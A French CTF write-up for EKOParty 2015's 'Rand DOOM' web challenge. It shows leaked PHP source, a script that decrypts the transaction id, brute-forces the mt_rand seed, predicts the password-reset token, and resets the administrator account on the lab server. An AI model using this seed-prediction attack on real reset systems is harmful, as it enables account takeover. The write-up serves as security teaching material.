[EKOParty Part 2 – 2015] [Web400 – Rand DOOM] Write Up

Description

Rand DOOM

Description: Do you think this password recovery is safe?

Resolution

Nous arrivons sur un site light avec que 2 menus, un pour s’identifier, l’autre pour récupérer son mot de passe.
En demandant le mot de passe, un message nous indiquant que le token de régénération expire au bout de 10 minutes ainsi qu’un id de transaction nous est délivré, mais celui-ci semble ne servir à rien (pour le moment :)).

Id de transaction
Après avoir testé quelques injections habituelles infructueuses, un petit coup d’oeil au code source de la page d’identification nous donne un détail croustillant :

<div id="navbar" class="navbar-collapse collapse">
 <ul class="nav navbar-nav">
  <li><a href="?option=login">Login</a></li>
  <li><a href="?option=recovery">Password Recovery</a></li>
  <!-- <li><a href="?option=highlight">Source Code</a></li> // remove from production -->
 </ul>
</div>

Comment ça « à enlever en production » ? On dirait bien que le développeur ne l’a pas fait. Voyons voir ce que cela donne en utilisant cette option highlight :

<?php
namespace RandomChallenge;

include('functions.php');

function generate_token() {
    $key = '';
    
    do {
        $key .= chr(mt_rand());
        
        $key = preg_replace('/[^\w]/', '', $key);
    } while(strlen($key) < 60);
    
    return $key;
}

function option() {
    global $option;
    
    switch ($option) {
        case 'request_token':
            $id = bin2hex(
                    mcrypt_encrypt(
                        MCRYPT_RIJNDAEL_128,
                        "\x9c\xa3\xea\x44\xe0\x48\xcd\xb8\xb6\x1f\x2a\xbb\x37\x6d\x6c\xb9\x86\x7a\xfb\x1f\x40\xbd\xf8\x57\xa3\x56\x6a\xc1\x38\x4a\xdf\xc1",
                        mt_rand(),
                        MCRYPT_MODE_ECB
                    )
                  );
            
            request_token($_POST['username'], generate_token(), $id);
            break;
        case 'reset_password':
            reset_password($_GET['username'], $_GET['token']);
            break;
        case 'check_login':
            check_login($_POST['username'], $_POST['password']);
            break;
        case 'recovery':
            password_recovery();
            break;
        default:
            login();
            break;
    }
}

header();
option();
footer(); 

Nous avons ici la fonction generate_token() qui génère une chaine de caractères imprimables aléatoires et un joli code qui crypte le retour de la fonction mt_rand(). Très certainement utilisée pour générer l’id de transaction vu lors de la demande de réinitialisation du password.

C’est bien beau tout ça, mais comme tout est généré aléatoirement, comment on peut faire ?
Ici la vulnérabilité c’est que nous avons la clé pour décrypter l’id de transaction, qui contient notre valeur aléatoire.
Et avec la valeur retournée par mt_rand(), on peut bruteforcer sa seed afin de nous retrouver dans le même contexte que quand la fonction generate_token() est appelée et donc prévoir son retour !
Plutôt que de réinventer la roue, nous avons utilisé cet outil pour bruteforcer la seed et un petit script en php pour automatiser le process :

<?php
function generate_token() {
    $key = '';
    
    do {
        $key .= chr(mt_rand());
        
        $key = preg_replace('/[^\w]/', '', $key);
    } while(strlen($key) < 60);
    
    return $key;
}

$id = '9a6d7fb315400d5321624b0cacab47ea'; // id de transaction

$rand =             mcrypt_decrypt(
                        MCRYPT_RIJNDAEL_128,
                        "\x9c\xa3\xea\x44\xe0\x48\xcd\xb8\xb6\x1f\x2a\xbb\x37\x6d\x6c\xb9\x86\x7a\xfb\x1f\x40\xbd\xf8\x57\xa3\x56\x6a\xc1\x38\x4a\xdf\xc1",
                        pack('H*', $id), // Conversion de l'id de transaction en binaire
                        MCRYPT_MODE_ECB
                    ); // valeur de mt_rand()
                    
  $bf = shell_exec('./php_mt_seed '.$rand);
  preg_match_all('#seed = (\d+)#', $bf, $regs);
  
  foreach ($regs[1] as $seed) {
   mt_srand($seed);
   echo $seed.' : '.generate_token().PHP_EOL;
  }

Au bout de quelques secondes, les résultats tombent :

Found 2, trying 4261412864 - 4294967295, speed 49614773 seeds per second
2188691082 : A7oERJVxdmP9YHaIdUWvwTSl9ZWnGzIoaAij6okO_2rJZ2H56F_isXZeKARW
3123438417 : PYHbdgYu5BzRyY_30jnUVOrhC3CQ6ScRRLzGJQXofIc5jThgak8GSkufLttn

On se rend alors sur la page de réinitialisation de password avec le token fraîchement obtenu :
http://ctfchallenges.ctf.site:10000/randoom/?option=reset_password&username=administrator&token=A7oERJVxdmP9YHaIdUWvwTSl9ZWnGzIoaAij6okO_2rJZ2H56F_isXZeKARW

Password réinitialisé

 

Cool ça fonctionne ! Il n’y a plus qu’a se loguer avec le password retourné pour obtenir le flag.

flag

Le flag est : EKO{seeding_haxors_for_fun_and_profit}

Laisser un commentaire

Votre adresse de messagerie ne sera pas publiée. Les champs obligatoires sont indiqués avec *